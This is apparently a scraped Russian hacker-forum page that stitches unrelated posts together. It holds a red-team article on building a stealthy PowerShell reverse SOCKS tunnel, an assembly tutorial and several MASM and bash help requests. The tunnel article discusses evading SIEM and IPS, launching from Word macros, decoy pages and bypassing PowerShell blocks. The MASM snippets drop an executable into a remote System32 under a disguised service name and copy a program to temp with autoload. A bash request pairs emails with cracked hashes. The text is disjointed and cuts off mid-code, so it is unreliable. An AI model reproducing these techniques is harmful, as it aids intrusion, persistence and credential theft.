Для data science, machine learning, аналитики, научных вычислений и исследований Julia чертовски хороша. На ней удобно делать серверный бэкенд и прочие насущные сервисы, рассчитанные на долгую работу. Игры на ней писать можно, но с оглядкой на прожорливые вычисления и другие нагрузки. А вот кросс- платформенные приложения на Julia без плясок с бубном не получатся.
Я не знаю, выстрелит Julia или нет, но изучать и применять ее можно уже прямо сейчас.
Для обучения на английском есть много ресурсов. На русском же из книг только устаревшая «Осваиваем язык Julia» Малкольма Шеррингтона. Еще есть статьи на Хабре и самоучитель на GitHub.
Автор: Yermack, хакер.ру
добрый, создаю топ, для того, чтобы узнать, каким новым языкам вы отдаёте своё
предпочтение и почему?
и также хочу вам сказать про существование тоже недавно родившегося языка
Crystal с ruby-подобным синтаксисом, кому интересно, почитайте, хочу услышать
ваше мнение
История об исследовании и разработке в 3-х частях. Часть 1 —
исследовательская.
Буков много — пользы еще больше.
Постановка задачи
В ходе проведения пентестов и RedTeam кампаний не всегда удается воспользоваться штатными средствами Заказчиков, такими как VPN, RDP, Citrix и т.д. в качестве закрепления для захода во внутреннюю сеть. Где-то штатный VPN работает по MFA и в качестве второго фактора используется железный токен, где- то он жестоко мониторится и наш вход по VPN сразу же становится виден, как говорится — со всеми вытекающими, а где-то таких средств попросту нет.
В подобных случаях постоянно приходится делать так называемые «обратные туннели» — соединения из внутренней сети к внешнему ресурсу или контролируемому нами серверу. Внутри такого туннеля мы уже можем работать с внутренними ресурсами Заказчиков.
Существуют несколько разновидностей таких обратных туннелей. Самый известный из них, конечно же, Meterpreter. Так же большим спросом в народных хакерских массах пользуются SSH-туннели с обратным пробросом портов. Средств осуществления обратного туннелирования достаточно много и многие из них хорошо изучены и описаны.
Конечно же, со своей стороны разработчики защитных решений не стоят в стороне и активно детектируют подобные действия.
К примеру, MSF-сессии успешно детектируются современными IPS от Cisco или Positive Tech, а обратный SSH- туннель можно задетектить практически любым мало-мальским нормальным файерволлом.
Следовательно, для того чтобы остаться незамеченным в хорошей RedTeam кампании — нам необходимо строить обратный туннель нестандартными средствами и максимально близко подстраиваться под реальный режим работы сети.
Давайте попробуем найти или изобрести нечто подобное.
Прежде чем что-то изобретать надо понять, какого результата мы хотим достичь,
какие функции должна выполнять наша разработка. Какие же будут требования к
туннелю, чтобы мы могли работать в режиме максимальной скрытности?
Понятно, что для каждого случая такие требования могут сильно отличаться, но по опыту работы можно выделить основные:
работа на ОС Windows-7-10. Так как в большинстве корпоративных сетях используется именно винда;
клиент соединяется с сервером по SSL для исключения тупого прослушивания средствами ips;
при соединении клиент должен поддерживать работу через прокси-сервер с авторизацией, т.к. во многих компаниях выход в интернет происходит через прокси. На самом деле, клиентская машина может об этом даже ничего и не знать, а прокси используется в транспарентном режиме. Но такой функционал мы должны заложить;
клиентская часть должна быть лаконична и портабельна;
Понятно, что для работы внутри сети Заказчика на клиентской машине можно
установить OpenVPN и поднять полноценный туннель до своего сервера (благо что
клиенты openvpn умеют работать через прокси). Но, во-первых, это не всегда
получится, так как мы можем не быть там локальными админами, а во-вторых, это
наделает так много шуму, что порядочный SIEM или HIPS тут же на нас «настучит
куда надо». В идеале наш клиент должен быть так называемой inline командой,
как например реализованы многие bash-шеллы, и запускаться через командную
строку, например, при выполнении команд из word-макроса.
наш туннель должен быть многопоточным и поддерживать множество соединений одновременно;
соединение клиент-сервер должно иметь какую-либо авторизацию, чтобы туннель устанавливался только для нашего клиента, а не для всех, кто придет к нам на сервер по указанному адресу и порту. В идеале, для «сторонних пользователей» должна открываться лендинг-страница с котиками или профессионально тематикой, связанной с исходным доменом.
Например, если Заказчиком выступает медицинская организация, то для
администратора информационной безопасности, решившего проверить ресурс, на
который обращался сотрудник клиники, должна открыться страница с
фармацевтическими товарами, википедия с описанием диагноза или блог доктора
Комаровского и т.д.
Анализ существующих инструментов
Прежде чем изобретать свой велосипед — необходимо сделать анализ существующих велосипедов и понять, действительно ли оно нам надо и, вероятно, не только мы задумались о необходимости такого функционального велосипеда.
Гугление в интернете (гуглим мы вроде нормально), а также поиск по гитхабу по ключевым словам «reverse socks» не дал особо много результатов. В основном, все сводится к построению ssh-туннелей с обратным пробросом портов и всего, что с этим связано. Помимо SSH-туннелей можно выделить несколько решений:
github.com/klsecservices/rpivot
Давняя реализация обратного туннеля от ребят из Лаборатории Касперского. По
названию понятно, для чего предназначен этот скрипт. Реализован на Python 2.7,
туннель работает в cleartext режиме (как модно сейчас говорить — привет РКН)
github.com/tonyseek/rsocks
Еще одна реализация на питоне, так же в cleartext, но возможностей больше.
Написан в виде модуля и есть API для интеграции решения в свои проекты.
github.com/llkat/rsockstun
github.com/mis-team/rsockstun
Первая ссылка — изначальная версия реализации реверс сокса на голанге (не
поддерживается разработчиком).
Вторая ссылка — уже наша доработка с дополнительными фишками, также на голанге. В нашей версии мы реализовали SSL, работу через прокси с NTLM- авторизацией, авторизацию на клиенте, лендинг-страницу при неверном пароле (вернее — редирект на лендинг-страницу), многопоточный режим (т.е. с туннелем могут работать несколько человек одновременно), систему пингов клиента на предмет того — живой он или нет.
github.com/jun7th/tsocks
Реализация обратного сокса от наших «китайских друзей» на питоне. Там же для
ленивых и «бессмертных» лежит уже готовый бинарь (exe), собранный китайцами и
готовый к использованию. Тут один только китайский бог знает, что в этом
бинаре может быть еще, кроме основного функционала, так что используйте на
свой страх и риск.
github.com/securesocketfunneling/ssf
Довольно-таки интересный проект на С++ для реализации обратного сокса и не
только. Помимо обратного туннеля, он может делать проброс портов, создание
командного шелла и т.д.
MSF meterpreter
Тут как говорится, без комментариев. Все мало-мальски образованные хакеры
прекрасно знакомы с этой штукой и понимают, насколько легко ее обнаруживают
средства защиты.
Все вышеописанные инструменты работают по схожей технологии: на машине внутри сети запускается заранее подготовленный исполняемый бинарный модуль, который устанавливает соединение с внешним сервером. На сервере запускается SOCKS4/5 сервер, принимающий подключения и транслирующий их на клиента.
Недостатком всех вышеперечисленных инструментов является то, что либо на клиентской машине необходим установленный Python или Golang (часто ли вы встречали установленный Python на машинах, к примеру, директора компании или офисных работников?), либо на эту машину необходимо тащить заранее собранный бинарь (фактически python и скрипт в одном флаконе) и запускать этот бинарь уже там. А загрузка exe с последующим его запуском — это еще та сигнатура для местного антивируса или HIPS.
В общем, вывод напрашивается сам собой — нам нужно решение на powershell. Сейчас в нас полетят помидоры — мол powershell — это уже все избито, он мониторится, блокируется и т.д. и т.п. На самом деле — далеко не везде. Ответственно заявляем. Кстати, существует уйма способов обойти блокировки (тут опять модная фраза про привет РКН ), начиная от тупого переименования powershell.exe -> cmdd.exe и заканчивая powerdll и т.п.
Начинаем изобретать
Понятное дело, что сперва мы посмотрим в гугл и… не найдем ровным счетом ничего по этой теме (если кто-то нашел — кидайте ссылки в комменты). Есть только реализация Socks5 на powershell, но это обычный «прямой» сокс, имеющий ряд своих недостатков (о них поговорим позднее). Можно, конечно, легким движением руки превратить его в обратный, но это будет только однопоточный сокс, что для нас не совсем то, что надо.
Итак, мы не нашли ничего готового, поэтому нам придется все-таки изобрести свой велосипед. За основу нашего велосипеда мы возьмем нашу разработку обратного сокса на голанге, а клиента к нему реализуем на powershell.
RSocksTun
Итак, как же работает rsockstun?
В основе работы RsocksTun (далее по тексту — rs) лежат два программных компонента — Yamux и Socks5 сервер. Socks5 сервер — это обычный локальный socks5, он запускается на клиенте. А мультиплексирование соединений к нему (помните про многопоточность?) обеспечивается с помощью yamux (yet another multiplexer). Такая схема позволяет запускать несколько клиентских socks5 серверов и распределять внешние подключения к ним, пробрасывая их через одно единственное TCP-соединение (почти как в meterpreter) от клиента к серверу, реализуя тем самым многопоточный режим, без которого нам просто не получится полноценно работать во внутренней сети.
Суть работы yamux’а заключается в том, что он вводит дополнительный сетевой уровень стримов, реализуя его в виде 12-байтного заголовка для каждого пакета. (Здесь мы намеренно используем слово «стрим», а не поток, чтобы не путать читателя с программным потоком «thread» — это понятие мы так же будем использовать в данной статье). Внутри yamux заголовка содержатся номер стрима, флаги для установки/завершения стрима, количество передаваемых байт, размер окна передачи.
Помимо установки/завершения стрима в yamux реализован механизм keepalive’ов, позволяющий отслеживать работоспособность установленного канала связи. Работа механизма keeplive-сообщений настраивается при создании Yamux-сессии. Собственно, из настроек там только — два параметра: enable/disable и периодичность отсылки пакетов в секундах. Keepalive-сообщения может отсылать yamux-сервер, так yamux-клиент. При получении keepalive-сообщения удаленная сторона обязана ответить на него посылкой точно такого же идентификатора сообщения (фактически — числа), который она приняла. В общем, keepalive — это тот же пинг, только для yamux.
Подробно вся техника работы мультиплексора: типы пакетов, флаги установки и завершения соединений механизм передачи данных описана в спецификации к yamux.
Заключение к первой части
Итак, в первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. В следующей части мы займемся разработкой самого модуля, практически, с нуля. Продолжение следует. Не переключайтесь
Абстракция — основа программирования. Многие вещи мы используем, не
задумываясь об их внутреннем устройстве, и они отлично работают. Всем
известно, что пользовательские программы взаимодействуют с ядром через
системные вызовы, но задумывался ли ты, как это происходит на твоей машине?
Вспомним сигнатуру функции main
в C:
Code:Copy to clipboard
int main(int argc, char** argv)
Откуда берутся число аргументов (argc
) и массив указателей на их строки
(argv
)? Как возвращаемое значение main становится кодом возврата самой
программы?
Краткий ответ: зависит от архитектуры процессора. К сожалению, доступных для начинающих материалов по самой распространенной сейчас архитектуре x86-64 не так много, и интересующиеся новички вынуждены сначала обращаться к старой литературе по 32-битным x86, которая следует другим соглашениям.
Попробуем исправить этот пробел и продемонстрировать прямое взаимодействие с машиной и ядром Linux сразу в 64-битном режиме.
Демонстрационная задача
Для демонстрации мы напишем расширенную версию hello world, которая может
приветствовать любое количество объектов или людей, чьи имена передаются в
аргументах команды.
Code:Copy to clipboard
$ ./hello Dennis Brian Ken
Hello Dennis!
Hello Brian!
Hello Ken!
Среда разработки
Для демонстрации мы будем использовать Linux и GNU toolchain (GCC и binutils),
как самые распространенные ОС и среда разработки. Писать мы будем на языке
ассемблера, потому что продемонстрировать низкоуровневое взаимодействие с ОС
из языка сколько-нибудь высокого уровня невозможно.
Очень краткая справка
Чтобы упростить чтение статьи тем, кто вообще никогда не сталкивался с
ассемблером x86, я использовал только самые простые инструкции и постарался
аннотировать их псевдокодом везде, где возможно. Я использую синтаксис AT&T,
который все инструменты GNU используют по умолчанию. Нужно помнить, что
регистры пишутся с префиксом % (например, %rax
), а константы — c префиксом
$
. Например, $255
, $0xFF
, $foo
— значение символа foo
.
Синтаксис указателей: смещение(база, индекс, множитель). Очень краткая справка:
Условные переходы и циклы реализуются через инструкции сравнения и условные
переходы. Инструкции сравнения устанавливают определенные разряды в регистре
флагов, команда условного перехода проверяет их и принимает решение,
переходить или нет. Например, следующий цикл увеличивает значение регистра
%rax
, пока оно не станет равным 10, а затем копирует его в %rbx
.
Для изучения ассемблера x86 я могу посоветовать книгу Programming From the Ground Up — к сожалению, ориентированную на 32-битную архитектуру, но очень хорошо написанную и подходящую новичкам.
Code:Copy to clipboard
mov $0, %rax # rax = 0
my_loop:
inc %rax
cmp $10, %rax
jne my_loop # Jump if Not Equal
mov %rax, %rbx # %rbx = 10
О регистрах: в x86-64 их куда больше. Кроме традиционных, добавлены регистры
от %r8 до %r15, всего шестнадцать 64-битных регистров. Чтобы обратиться к
нижним байтам новых регистров, нужно использовать суффиксы d, w, или b. То
есть %r10d
— нижние четыре байта, %r10w
— нижние два байта, %r10b
—
нижний байт.
Что входит в соглашения ABI?
SystemV ABI, которой в большей или меньшей степени следуют почти все UNIX-
подобные системы, состоит из двух частей. Первая часть, общая для всех систем,
описывает формат исполняемых файлов ELF. Ее можно найти на сайте
SCO.
К общей части прилагаются архитектурно зависимые дополнения. Они описывают:
Формат ELF
Знать формат ELF в деталях, особенно его двоичную реализацию, нужно только
авторам ассемблеров и компоновщиков. Эти задачи мы в статье не рассматриваем.
Тем не менее пользователю следует понимать организацию формата.
Файлы ELF состоят из нескольких секций. Компиляторы принимают решение о размещении данных по секциям автоматически, но ассемблеры оставляют это на человека или компилятор. Полный список можно найти в разделе Special Sections. Вот самые распространенные:
Соглашения о вызовах
Соглашение о вызовах — важная часть ABI, которая позволяет пользовательским
программам взаимодействовать с ядром, а программам и библиотекам — друг с
другом. В соглашении указывается, как передаются аргументы (в регистрах или на
стеке), какие именно регистры используются и где хранится результат. Кроме
того, оговаривается, какие регистры вызываемая функция обязуется сохранить
нетронутыми (callee-saved), а какие может свободно перезаписать (caller-
saved).
Соглашение о системных вызовах
Системные вызовы выполняются с помощью инструкции процессора syscall
.
На старых 32-разрядных x86 использовалось программное прерывание 0x80
,
которое и поныне используется в 32-разрядном коде. Инструкция syscall
из
x86-64 передает управление напрямую в точку входа в пространстве ядра, без
накладных расходов на вызов обработчика прерывания.
Через регистры в ядро передается номер системного вызова и его аргументы.
Соглашение для Linux описано в параграфе
A.2.1.
Номера системных вызовов зависят от ОС и архитектуры. В Linux номера вызовов
для x86-64 можно найти в заголовках ядра. На установленной системе он обычно
находится в /usr/include/asm/unistd_64.h
. Для наших целей потребуются всего
два системных вызова: write
(номер 1) и exit
(номер 60).
Напишем простейшую программу, которая корректно завершается с кодом возврата 0
— аналог /bin/true
.
Code:Copy to clipboard
.file "true.s"
.section .text
_start:
# syscall(number=60/exit, arg0=0)
mov $60, %rax
mov $0, %rdi
syscall
.global _start
Код программы мы помещаем в секцию .text
, как говорит директива .section
.text.Метка _start
— соглашение компоновщика ld, именно там он ожидает найти
точку входа программы. Директива .global _start
делает символ _start видимым
для компоновщика.
Соберем и запустим программу:
Bash:Copy to clipboard
$ as -o true.o ./true.s && ld -nostdlib -o true ./true.o
$ ./true && echo Success
Success
Соглашение о вызовах функций
Соглашение о вызовах функций похоже на соглашение о системных вызовах. Детали
можно найти в разделе
3.2. Мы
будем работать только с целыми числами и указателями, поэтому наши значения
можно отнести к классу INTEGER
.
К нашему случаю относятся следующие соглашения:
Пишем стандартную библиотеку
Пользуясь этими знаниями, мы можем написать небольшую стандартную библиотеку.
Прежде всего нам понадобится функция puts, чтобы выводить строки на
стандартный вывод. Системный вызов write сделает за нас почти всю работу.
Единственная сложность в том, что он требует длину строки в качестве
аргумента. Его условная сигнатура — write(file_descriptor, string_pointer, string_length)
. Поэтому нам потребуется функция strlen
.
Сначала приведем код библиотеки, а потом разберем ее функции.
Code:Copy to clipboard
.file "stdlib.s"
.section .text
.macro save_registers
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
.endm
.macro restore_registers
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
.endm
.macro write filedescr bufptr length
mov $1, %rax
mov \filedescr, %rdi
mov \bufptr, %rsi
mov \length, %rdx
syscall
.endm
## strlen(char* buf)
asm_strlen:
save_registers
# r12 — индекс символа в строке
mov $0, %r12 # index = 0
strlen_loop:
# r13b = buf[r12]
mov (%rdi, %r12, 1), %r13b
# if(r13b == 0) goto strlen_return
cmp $0, %r13b
je strlen_return
inc %r12 # index++
jmp strlen_loop
strlen_return:
# return index
mov %r12, %rax
restore_registers
ret
.type asm_strlen, @function
.global asm_strlen
## puts(int filedescr, char* buf)
asm_puts:
save_registers
mov %rdi, %r12 # r12 = filedescr
mov %rsi, %r13 # r13 = buf
# r13 = strlen(buf)
mov %r13, %rdi
call asm_strlen
mov %rax, %r14 # r14 = asm_strlen(buf)
write %r12 %r13 %r14
restore_registers
ret
.type asm_puts, @function
.global asm_puts
Макросы save_registers
и restore_registers
просто автоматизируют
сохранение регистров callee-saved. Первый добавляет все регистры на стек, а
второй удаляет их значения из стека и возвращает обратно в регистры. Макрос
write
— более удобная обертка к системному вызову.
Функция strlen
использует тот факт, что строки следуют соглашению языка С, —
нулевой байт выступает в качестве признака конца строки. На каждом шаге цикла
strlen_loopследующий байт строки сравнивается с нулем, и, пока он не равен
нулю, значение индекса элемента в регистре %r12 увеличивается на единицу. Если
он равен нулю, производится условный переход на метку strlen_return
.
Семейство команд условных переходов в x86 довольно обширно и включает в себя
команду jz — jump if zero. Я намеренно использовал команды, которые мне
кажутся наиболее наглядными для читателей, не сталкивавшихся с языком
ассемблера до этой статьи. Возможно, более правильно было бы для индекса
элемента строки использовать регистр %r11, который зарезервирован как scratch
register и не обязан сохраняться вызываемой функцией.
Попробуем использовать нашу библиотеку из программы на C. Сигнатура функции
asm_putsс точки зрения C будет asm_puts(int filedescr, char* string)
.
Выводить будем на stdout, его дескриптор всегда равен 1.
Сохраним следующий код в hello.c
:
Code:Copy to clipboard
#define STDOUT 1
int main(void)
{
asm_puts(STDOUT, "hello world\n");
}
Теперь соберем из этого всего программу:
Bash:Copy to clipboard
$ gcc -Wno-implicit-function-declaration -c -o hello.o ./hello.c
$ as -o stdlib.o ./stdlib.s
$ gcc -o hello ./hello.o ./stdlib.o
$ ./hello
hello world
Как видим, вызов нашей функции из C сработал. Увы, main
в исполнении GCC
зависит от инициализаций из libc, поэтому финальную программу тоже придется
писать на языке ассемблера, если мы не хотим эмулировать работу GCC.
Где лежат аргументы командной строки?
Ответ на это можно найти в разделе
3.4.1,
и он проще, чем можно было ожидать: на стеке процесса. При запуске процесса
регистр %rbp
указывает на выделенный для него кадр стека, и первое значение
на стеке — количество аргументов (argc). За ним следуют указатели на сами
аргументы.
Таким образом, все, что нам нужно, — это несложный цикл, который извлекает
значения со стека по одному и передает их нашей функции asm_puts
.
Финальная программа
Code:Copy to clipboard
## Константы
.section .rodata
hello_begin:
.ascii "Hello \0"
hello_end:
.ascii "!\n\0"
## Код программы
.section .text
_start:
# argc — первое значение на стеке, сохраним его в %r12
pop %r12 # r12 = argc
# Следующее значение — *argv[0], это имя программы, и оно нам не нужно
pop %r13 # r13 = argv[0]
dec %r12 # argc--
# Сохраним первый нужный аргумент в %r13 перед входом в цикл main_loop
pop %r13 # r13 = argv[1]
main_loop:
# if(argc == 0) goto exit
cmp $0, %r12
je exit
# asm_puts(STDOUT, hello_begin)
mov $1, %rdi # rdi = STDOUT
mov $hello_begin, %rsi
call asm_puts
# asm_puts(STDOUT, argv[r12])
mov $1, %rdi
mov %r13, %rsi
call asm_puts
# asm_puts(STDOUT, hello_end)
mov $1, %rdi
mov $hello_end, %rsi
call asm_puts
pop %r13 # Извлекаем следующий аргумент
dec %r12 # argc--
jmp main_loop
exit:
# syscall(number=60/exit, arg0/exit_code=0)
mov $60, %rax
mov $0, %rdi
syscall
.global _start
Соберем программу и проверим ее в работе:
Code:Copy to clipboard
$ as -o hello.o ./hello.s
$ as -o stdlib.o ./stdlib.s
$ ld -nostdlib -o hello ./hello.o ./stdlib.o
$ ./hello Dennis Brian Ken
Hello Dennis!
Hello Brian!
Hello Ken!
Логика достаточно проста. Число аргументов, которое находится на вершине
стека, мы сохраняем в регистре %r12, а затем извлекаем указатели на аргументы
из стека и уменьшаем значение в %r12 на единицу, пока оно не достигнет нуля.
Основной цикл программы организован через те же команды сравнения и условного
перехода, которые мы уже видели в asm_strlen
.
Поскольку форматированный вывод нам недоступен, его отсутствие приходится
компенсировать отдельным выводом сначала строки Hello
, затем аргумента и
только затем восклицательного знака.
Заключение
Мы успешно поговорили с ядром Linux без посредников на его собственном языке.
Такие упражнения несут мало практического смысла, но приближают нас к
пониманию того, как userspace работает с ядром.
Автор: dmbaturin ака Даниил Батурин
хакер.ру
получение имени текущего процесса. Подскажите как реализовать
Вот кусок кода на MASM
Суть в том, чтобы получить в буфер весь HTML код страницы.
Размер буфера выделен с лихвой, но загрузка происходит всегда не полностью -
размер выходного файла каждый раз разный и всегда кратен MTU. В чем может быть
загвоздка?
Code:Copy to clipboard
.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\ws2_32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\ws2_32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
.data
szHostName db "www.wasm.ru",0
FileszHeaders db "POST /index.php HTTP/1.1",13,10
db "Host: www.wasm.ru",13,10
db "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)",13,10
db "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",13,10
db "Accept-Language: en-us,en;q=0.7,de-de;q=0.3",13,10
db "Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.7",13,10
db "Keep-Alive: 115",13,10
db "Connection: keep-alive",13,10
db "Cookie:%s",13,10
db "Content-Type: application/x-www-form-urlencoded",13,10
db "Referer: http://www.wasm.ru/forum",13,10
db "Content-Length: 16",13,10,13,10
db "form_sent=1",0
outputFileName db 'file.htm', 0
.data?
hFile dd ?
writed dd ?
url_file_string db 512 dup (?)
f_startpos dd ?
f_endpos dd ?
f_lenstr dd ?
startpos dd ?
endpos dd ?
lenstr dd ?
podstroka3 db 255 dup (?)
Ans_Buff db 100000 dup (?)
Ans_Buff2 db 100000 dup (?)
;Ans_Buff2 dd ?
Req_Buff db 1048 dup (?)
Req_Buff2 db 1048 dup (?)
cookies_str db 7500 dup (?)
mHandle dd ?
sizetoread dd ?
.code
;========================================================================
filelink_Get_con proc
LOCAL WSAData : WSADATA
LOCAL saServer : sockaddr_in
LOCAL pSocket : DWORD
LOCAL dwLen : DWORD
; Init WSA
invoke WSAStartup, 101h, addr WSAData
test eax, eax
jnz die
; Convert if IP
invoke inet_addr, addr szHostName
cmp eax, INADDR_NONE
jne ok
; Resolve if host
invoke gethostbyname, addr szHostName
test eax, eax
jz die
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
ok:
; Fill struct
mov saServer.sin_addr, eax
invoke htons, 80d
mov saServer.sin_port, ax
mov saServer.sin_family, AF_INET
; Создаем socket
invoke socket, AF_INET, SOCK_STREAM, 0
test eax, eax
js die
mov pSocket, eax
; Пробуем подсоедениться
invoke connect, pSocket, addr saServer, sizeof saServer
test eax, eax
jnz die
; Создаем запрос серверу
invoke wsprintf, addr Req_Buff2, addr FileszHeaders, addr cookies_str
; отправляем запрос
invoke send, pSocket, addr Req_Buff2, eax, 0
test eax, eax
js die
jz die
; получаем ответ
invoke recv, pSocket, addr Ans_Buff2, sizeof Ans_Buff2, 0
test eax, eax
js die
jz die
push eax
invoke closesocket, pSocket
invoke WSACleanup
ret
die:
invoke WSACleanup
invoke ExitProcess, 0
filelink_Get_con endp
;========================================================================
;========================================================================
Main proc
call filelink_Get_con
invoke CreateFile, addr outputFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov hFile,eax
invoke lstrlen, addr Ans_Buff2
invoke WriteFile, hFile, addr Ans_Buff2, eax, addr writed, 0
invoke CloseHandle, hFile
invoke MessageBox,0, addr Ans_Buff2, 0, MB_OK
invoke ExitProcess, 0
Main endp
end Main
Есть 2 файла со следующим содержимым:
Необходимо получить файл 3.txt, в котором будут записаны email и pass,
соответствующий хэшу. Хотелось бы реализовать подобное на bash с помощью awk,
sed или grep.
Пока представляю такой порядок действий:
1.Читаем строку из файла 1.txt, записываем email в переменную $email, hash в
переменную $hash
2.Ищем строку в файле 2.txt содержащую $hash, достаем pass
3. Записываем в файл 3.txt строку с pass и соотвествующим email.
На данный момент удалось только это:
-назначаем переменную $email
email=$(cat 1.txt | awk '{print $1}')
-назначаем переменную $hash
hash=$(cat 1.txt | awk '{print $1}')
а вот дальше пока ничего не получается, буду благодарен за любой совет)
Добрый день!
Сижу на win8x64 на vmvare крутится windows7x32
на win8x64 и на win7x32 я админ, сеть настроена все отовсюду пингую
брендмауэр на vmvare с win7x32 - выключен
Пытаюсь скопировать exe на win7 в папку system32
Code:Copy to clipboard
.686
include \masm32\include\masm32rt.inc
include \masm32\include\kernel32.inc
include \masm32\include\mpr.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\mpr.lib
includelib \masm32\lib\advapi32.lib
.data
pcname db "\\192.168.1.5",0
lpPath db "\\192.168.1.5\IPC$",0
lpUser db "user1",0
lpPass db "user1",0
servfile db "_service.exe",0
tofile db "\\192.168.1.5\ADMIN$\System32\_service.exe",0
sfile db "C:\Windows\System32\_service.exe",0
sname db "MS helper provider",0
hSCM HANDLE ?
hServ HANDLE ?
mpr NETRESOURCE <>
.code
start:
;structure netresourse
mov mpr.dwScope,RESOURCE_GLOBALNET
mov mpr.dwType,RESOURCETYPE_DISK
mov mpr.dwDisplayType,RESOURCEDISPLAYTYPE_DOMAIN
mov mpr.dwUsage,RESOURCEUSAGE_CONNECTABLE
mov mpr.lpLocalName,NULL
mov mpr.lpRemoteName,offset lpPath
mov mpr.lpComment,NULL
mov mpr.lpProvider,NULL
;end structure netresourse
invoke WNetAddConnection2,addr mpr,addr lpPass,addr lpUser,NULL
invoke CopyFile,addr servfile,addr tofile,FALSE
invoke WNetCancelConnection2,addr lpPath,NULL,TRUE
invoke ExitProcess,0
end start
Все выполняется, но файл НЕ копируется!
Смотрю на w7 в папке c:\windows\system32\ ... его НЕТ!
Я уже боюсь спросить как потом этот сервис запустить )))
Под winXP все работает и файл залетает
Может в 7-ке что-то не то с путями? Может они другие?
Вопрос, что не так у Win7?!
... ничего не понимаю (((
На С вот попытки ...
Code:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include <winnetwk.h>
#pragma comment(lib, "mpr.lib")
int _tmain(int argc, _TCHAR* argv[])
{
NETRESOURCE nr;
DWORD res;
TCHAR szUserName[32] = "user1";
TCHAR szPassword[32] = "1";
TCHAR szLocalName[32] = "Q:";
TCHAR szRemoteName[MAX_PATH] = "\\\\vmware101\\123";error = 66 Неверно указан тип сетевого ресурса
//TCHAR szRemoteName[MAX_PATH] = "\\\\192.168.1.5\\C$";error = 5 Отказанно в доступе
//TCHAR szRemoteName[MAX_PATH] = "\\\\192.168.1.5\\123";error = 66 Неверно указан тип сетевого ресурса
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = (LPTSTR) &szLocalName;
nr.lpRemoteName = (LPTSTR) &szRemoteName;
nr.lpProvider = NULL;
res = WNetAddConnection2(&nr, (LPTSTR) &szPassword, (LPTSTR) &szUserName, FALSE);
if(res == NO_ERROR)
printf("connection finished Q: \n", szRemoteName);
else
printf("Error: %ld\n", res);
return 0;
}
Ресурс тоже НЕ подключается! ПОЧЕМУ?!
Ничего не понимаю, прямо обескураживает, ПОЧЕМУ!!!
На w7 в папке пользователи -мои документы создал папку 123
дал доступ к ней user1
1- пасс админа.
Под XP все летало!!!
ПОЧЕМУ?! Как работать ?
Теряю веру!!
Такая задача - есть DLL, которая экспортирует определенные функции, нужные в моей программе. Напрямую инклудить DLL (как стандартные Windows либы) я не могу, нужно загружать динамически. И тут возникает сложность - допустим, есть в длл функция MD5. Прототип ее такой
Code:Copy to clipboard
MD5 PROC string :DWORD, result_buffer :DWORD
. Я не могу ее использовать в программе, хотя пробовал по разному.
1 способ:
объявляю в коде прототип
Code:Copy to clipboard
MD5 PROTO :DWORD, :DWORD
делаю инклуд либы
Code:Copy to clipboard
includelib \masm32\path\mydll.lib
И загружаю в коде либу динамически, после вызываю функции через invoke.
Code:Copy to clipboard
invoke LoadLibrary,chr$("путь_к_mydll.dll")
invoke MD5,addr gate,addr buffer
Такой код не работает, а вылетает сразу же (в т.ч. при попытке отладки), с сообщением что не найдена такая-то dll.
2 способ:
убираю прототип и инклуд либы, а добавляю
Code:Copy to clipboard
extrn __imp__MD5@8:DWORD
MD5 equ __imp__MD5@8
Не компилируется с ошибкой
unresolved external symbol ___imp__MD5@8
Click to expand...
Как быть? Есть ли какой-то способ, чтобы можно было вызывать эти функции через invoke (т.е. как будто бы длл загружена в память процесса обычным путем), или только юзать GetProcAddress и никак иначе?
Столкнулся с прям таки мистической ошибкой. Есть прога, которая проверяет где она лежит, если не в temp - копирует себя в темп. Казалось бы, такой код напишет даже олигофрен, но тем не менее, он у меня дает очень странную ошибку.
А именно - при автозагрузке код пишет, что он НЕ в темп, пытается скопировать файл сам в себя и вылетает. Если же зайти вручную в темп, и запустить файл - то ошибки не будет. Т.е. она только при автозагрузке. Никакая отладка не помогает, при сравнении строк с именами папок lstrcmpi упорно возвращает единицу при автоматической загрузке, и 0 - при запуске вручную. Что это может быть, подскажите пожалуйста, я уже весь мозг сломал об этот говнокод. :angry:
Code:Copy to clipboard
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32,masm32,advapi32
.data
curPath db MAX_PATH+1 dup (0)
newPath db MAX_PATH+1 dup (0)
.code
main proc
local hReg:dword;
call autoload
invoke GetTempPath,MAX_PATH,addr newPath;получаем путь к темп
invoke GetLongPathName,addr newPath,addr newPath,MAX_PATH;приводим к длинному варианту
invoke GetCurrentDirectory,MAX_PATH,addr curPath;путь к текущей папке
invoke lstrcat,addr curPath,chr$("\");добавляем слеш
invoke GetLongPathName,addr curPath,addr curPath,MAX_PATH;приводим к длинному пути
invoke lstrcmpi,addr newPath,addr curPath;сравниваем папки
pushad
fn MessageBox,0,str$(eax),"Test",MB_OK;0 - папки равны, -1 или 1 - не равны
popad
.if eax != 0 ;если не равны, скопировать себя в темп, тут и проявляется эта ошибка
invoke GetModuleFileName,0,addr curPath,MAX_PATH+1
invoke lstrcat,addr newPath,chr$("fileprot.exe")
invoke CopyFile,addr curPath,addr newPath,0;копируем с перезаписью
call autoload;автозагрузка
.if eax==0
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
.endif
.endif
exit
main endp
autoload proc
local hReg:dword
invoke GetModuleFileName,0,addr newPath,MAX_PATH
